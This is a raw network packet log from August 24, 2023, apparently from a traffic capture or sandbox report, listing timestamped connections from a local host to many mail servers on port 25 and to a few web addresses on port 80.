Aug 24, 2023 19:03:23.683540106 CEST	49833	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.685966969 CEST	25	49843	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.686106920 CEST	49858	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.690351963 CEST	25	49832	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.694320917 CEST	80	49857	104.18.115.97	192.168.2.8
Aug 24, 2023 19:03:23.694452047 CEST	49857	80	192.168.2.8	104.18.115.97
Aug 24, 2023 19:03:23.694827080 CEST	49857	80	192.168.2.8	104.18.115.97
Aug 24, 2023 19:03:23.705929041 CEST	25	49837	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.706088066 CEST	25	49837	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.711514950 CEST	80	49857	104.18.115.97	192.168.2.8
Aug 24, 2023 19:03:23.716269970 CEST	25	49846	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:23.718091965 CEST	25	49850	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:23.718297005 CEST	80	49857	104.18.115.97	192.168.2.8
Aug 24, 2023 19:03:23.718437910 CEST	49857	80	192.168.2.8	104.18.115.97
Aug 24, 2023 19:03:23.718960047 CEST	25	49850	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:23.745661974 CEST	25	49856	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.745841980 CEST	49856	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.762665987 CEST	25	49844	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:23.769793034 CEST	49850	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:23.769794941 CEST	49837	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.769876003 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:23.772922039 CEST	49823	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.774642944 CEST	25	49851	34.192.198.103	192.168.2.8
Aug 24, 2023 19:03:23.774682045 CEST	25	49851	34.192.198.103	192.168.2.8
Aug 24, 2023 19:03:23.774724960 CEST	25	49849	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:23.774821997 CEST	49851	25	192.168.2.8	34.192.198.103
Aug 24, 2023 19:03:23.775945902 CEST	25	49849	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:23.777299881 CEST	25	49849	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:23.777409077 CEST	49849	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:23.778054953 CEST	25	49848	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:23.784599066 CEST	25	49835	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.784653902 CEST	25	49835	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.796700001 CEST	25	49833	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.797914982 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:23.797941923 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:23.798039913 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:23.799731016 CEST	25	49858	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.799886942 CEST	49858	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.802843094 CEST	25	49834	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.802877903 CEST	25	49834	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.816638947 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:23.821544886 CEST	25	49854	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:23.823482037 CEST	25	49847	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.823514938 CEST	25	49847	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:23.832837105 CEST	49835	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.847893000 CEST	49834	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.848890066 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:23.863531113 CEST	49824	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.863537073 CEST	49847	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:23.864902973 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:23.886564016 CEST	25	49823	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.886729956 CEST	49823	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.894754887 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:23.894754887 CEST	49767	40500	192.168.2.8	100.91.108.68
Aug 24, 2023 19:03:23.914338112 CEST	25	49858	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.917823076 CEST	25	49856	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:23.957297087 CEST	49858	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.966208935 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:23.972904921 CEST	49856	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:23.977562904 CEST	25	49824	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:23.977714062 CEST	49824	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:23.989550114 CEST	49825	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:24.002968073 CEST	25	49823	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.020029068 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:24.036993027 CEST	49837	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.048279047 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:24.048434019 CEST	49850	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:24.049262047 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:24.049520016 CEST	49851	25	192.168.2.8	34.192.198.103
Aug 24, 2023 19:03:24.049573898 CEST	49849	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:24.049652100 CEST	49798	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:24.049688101 CEST	49834	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.049758911 CEST	49847	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.049793005 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:24.049855947 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:24.051012993 CEST	49823	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.051486969 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:24.051492929 CEST	49835	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.064651012 CEST	49856	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:24.064913034 CEST	49858	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.064949989 CEST	49823	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.071302891 CEST	25	49852	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.078507900 CEST	25	49798	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:24.086134911 CEST	49852	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.092844963 CEST	25	49824	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.103889942 CEST	49824	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.114592075 CEST	25	49825	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.115489960 CEST	49825	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:24.150691032 CEST	25	49837	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.160430908 CEST	49826	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:24.162391901 CEST	25	49846	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:24.164386034 CEST	25	49854	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:24.164561033 CEST	25	49854	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:24.166954041 CEST	25	49851	34.192.198.103	192.168.2.8
Aug 24, 2023 19:03:24.177956104 CEST	25	49844	98.136.96.91	192.168.2.8
Aug 24, 2023 19:03:24.178272009 CEST	25	49823	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.178380966 CEST	25	49858	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.178411961 CEST	25	49823	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.178590059 CEST	25	49858	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.181049109 CEST	25	49850	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:24.182425022 CEST	25	49850	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:24.183422089 CEST	25	49850	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:24.183518887 CEST	49850	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:24.185931921 CEST	25	49849	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:24.191683054 CEST	49837	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.207267046 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:24.212905884 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:24.216249943 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:24.217204094 CEST	25	49824	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.217405081 CEST	25	49824	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.222902060 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:24.222901106 CEST	25	49847	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.222913980 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:24.222918034 CEST	49858	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.223017931 CEST	49823	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.232332945 CEST	25	49834	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.233762026 CEST	25	49835	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.234805107 CEST	25	49856	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:24.235706091 CEST	25	49856	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:24.240420103 CEST	49837	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.240803957 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:24.243593931 CEST	49823	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.244332075 CEST	49858	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.244440079 CEST	25	49825	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.244539976 CEST	49850	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:24.245810986 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:24.246400118 CEST	49824	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.246738911 CEST	49847	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.247852087 CEST	49834	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.248900890 CEST	49835	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.249471903 CEST	49856	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:24.251486063 CEST	49825	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:24.268353939 CEST	25	49852	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.268395901 CEST	25	49852	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.268873930 CEST	49852	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.285638094 CEST	25	49826	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.285775900 CEST	49826	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:24.332335949 CEST	49827	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:24.354840040 CEST	25	49854	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:24.355242014 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:24.357522964 CEST	25	49823	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.357723951 CEST	49823	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.358087063 CEST	25	49858	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.358258009 CEST	49858	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.359433889 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:24.359601021 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:24.359942913 CEST	25	49824	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.360086918 CEST	49824	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.376354933 CEST	25	49825	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.376488924 CEST	25	49825	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.376724958 CEST	49825	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:24.376969099 CEST	25	49850	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:24.388262033 CEST	49859	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.393996954 CEST	49860	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:24.395034075 CEST	25	49837	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.409209967 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:24.409442902 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:24.419735909 CEST	25	49856	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:24.419770002 CEST	25	49847	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.419976950 CEST	49847	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.420725107 CEST	25	49856	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:24.421000957 CEST	49856	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:24.421765089 CEST	25	49856	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:24.421840906 CEST	49856	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:24.430551052 CEST	25	49834	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.430691957 CEST	49834	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.431421995 CEST	25	49835	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.432255983 CEST	49835	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.450814009 CEST	25	49852	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.461184978 CEST	49852	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.461469889 CEST	80	49860	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:24.461566925 CEST	49860	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:24.463692904 CEST	49860	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:24.467756033 CEST	25	49827	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:24.467917919 CEST	49827	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:24.468739033 CEST	25	49854	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:24.468945026 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:24.501444101 CEST	25	49825	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.501558065 CEST	25	49825	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.512887955 CEST	25	49823	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.513159037 CEST	25	49837	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.513185978 CEST	25	49837	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.513210058 CEST	25	49837	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.513282061 CEST	49837	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.513331890 CEST	49837	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.513683081 CEST	25	49858	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.513894081 CEST	25	49824	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.518605947 CEST	49825	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:24.519438028 CEST	49837	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.527226925 CEST	49861	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.530596018 CEST	80	49860	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:24.530720949 CEST	80	49860	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:24.530827999 CEST	49860	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:24.531267881 CEST	25	49826	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.531450033 CEST	49826	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:24.560695887 CEST	25	49859	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.560806036 CEST	49859	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.576869011 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:24.582122087 CEST	25	49854	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:24.591233015 CEST	25	49856	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:24.604865074 CEST	25	49827	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:24.617732048 CEST	25	49858	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.617834091 CEST	25	49858	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.617858887 CEST	25	49858	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.617979050 CEST	49858	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.621321917 CEST	49858	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.629393101 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:24.633043051 CEST	25	49837	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.640516996 CEST	25	49842	211.249.219.37	192.168.2.8
Aug 24, 2023 19:03:24.643027067 CEST	25	49852	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.643212080 CEST	49852	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.643742085 CEST	25	49825	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.643831015 CEST	25	49825	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.644005060 CEST	49825	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:24.647010088 CEST	49827	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:24.656156063 CEST	25	49826	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.656223059 CEST	25	49826	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.672569036 CEST	25	49824	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.672602892 CEST	25	49824	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.672625065 CEST	25	49824	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.672806978 CEST	49824	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.672970057 CEST	49824	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.691730976 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:24.697885036 CEST	25	49861	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.698090076 CEST	49861	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.706043959 CEST	49858	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.706423044 CEST	49827	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:24.706422091 CEST	49826	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:24.706502914 CEST	49824	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.736399889 CEST	25	49859	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.772828102 CEST	25	49853	173.194.202.26	192.168.2.8
Aug 24, 2023 19:03:24.780708075 CEST	25	49823	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.780781031 CEST	25	49823	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.780802965 CEST	25	49823	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.780930996 CEST	49823	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.780976057 CEST	49823	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:24.785502911 CEST	49859	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:24.816790104 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:24.819789886 CEST	25	49858	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.819850922 CEST	25	49824	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:24.831152916 CEST	25	49826	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.831243038 CEST	25	49826	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:24.841712952 CEST	25	49827	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:24.842498064 CEST	25	49827	104.47.59.161	192.168.2.8
Aug 24, 2023 19:03:24.879548073 CEST	49826	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:24.894895077 CEST	49827	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:24.929363012 CEST	25	49861	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:24.973016977 CEST	49861	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:27.620982885 CEST	49859	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:27.621361017 CEST	49853	25	192.168.2.8	173.194.202.26
Aug 24, 2023 19:03:27.621758938 CEST	49823	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:27.623368025 CEST	49826	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:27.625144958 CEST	49827	25	192.168.2.8	104.47.59.161
Aug 24, 2023 19:03:27.625447035 CEST	49861	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:27.626313925 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:27.626435995 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:27.626550913 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:27.626663923 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:27.626718998 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:27.626802921 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:27.626858950 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:27.626903057 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:27.626945972 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:27.626987934 CEST	49807	25	192.168.2.8	44.235.224.67
Aug 24, 2023 19:03:27.627731085 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.627768040 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.627806902 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.627839088 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.627876997 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.627912045 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.627953053 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.628000021 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.628050089 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.628102064 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.628148079 CEST	49821	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.629076958 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.629141092 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.629208088 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.629249096 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.629298925 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.629472971 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.629535913 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.629586935 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.629640102 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.629698038 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.629760981 CEST	49846	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.629980087 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.630033016 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.630070925 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.630116940 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.630175114 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.630209923 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.630263090 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.630311966 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.630358934 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.630409002 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.630460978 CEST	49844	25	192.168.2.8	98.136.96.91
Aug 24, 2023 19:03:27.630779028 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.630820990 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.630870104 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.630916119 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.630960941 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.631007910 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.631058931 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.631105900 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.631155968 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.631206989 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.631258965 CEST	49854	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:27.631505013 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:27.631557941 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:27.631611109 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:27.631660938 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:27.631711960 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:27.631764889 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:27.631819963 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:27.631874084 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:27.631927967 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:27.631983042 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:27.632038116 CEST	49842	25	192.168.2.8	211.249.219.37
Aug 24, 2023 19:03:27.722240925 CEST	49777	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:27.724433899 CEST	49860	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:27.725385904 CEST	49862	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:27.735184908 CEST	25	49823	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:27.743128061 CEST	25	49846	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:27.743237019 CEST	25	49846	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:27.743592978 CEST	25	49846	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:27.743736982 CEST	25	49846	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:27.744007111 CEST	25	49854	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:27.746143103 CEST	49863	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:27.748027086 CEST	25	49826	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:27.748241901 CEST	25	49826	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:27.748323917 CEST	49826	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:27.758692980 CEST	25	49844	98.136.96.91	192.168.2.8
